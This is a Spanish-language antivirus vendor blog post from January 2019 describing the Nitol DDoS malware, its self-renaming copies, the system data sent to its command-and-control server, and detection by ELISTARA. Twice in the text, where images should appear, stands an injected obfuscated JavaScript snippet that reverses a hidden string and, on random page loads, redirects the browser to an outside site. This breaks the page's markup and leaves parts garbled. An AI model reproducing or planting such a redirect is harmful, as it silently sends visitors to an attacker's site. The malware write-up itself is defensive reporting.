DENEGACION DE SERVICIOS PROVOCADO POR DDOS NITOL
Se trata de un código malicioso que realiza la función de un ataque de DDoS
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tory/1666894C511852FE1F” width=”486″ height=”239″ /></p>
<p> </p>
<p><a href=)
El proceso en cuestión queda residente y en cada reinicio se genera una nueva copia añadiendo al %nombre%.exe “rq”
%nombre%.exe
rq%nombre%.exe
rqrq%nombre%.exe
rqrqrq%nombre%.exe
En un PC infectado con código malicioso, el servidor de C & C captura información del sistema operativo, nombre de la computadora, información de la memoria e información del procesador.
El servidor C & C utiliza el servicio de códigos nacionales y el servicio de códigos cambia la dirección IP a la forma de dirección.
La ubicación del servidor C & C es Corea:
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tory/1273B04C511852FC11″ width=”500″ height=”304″ /></p>
<p>A partir del ELISTARA 40.57 pasamos a controlar las últimas variantes de dicho engendro.</p>
<p>saludos</p>
<p>ms, 28-1-2019</p>
<div id=)
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Siguenos
en facebook
Los comentarios están cerrados.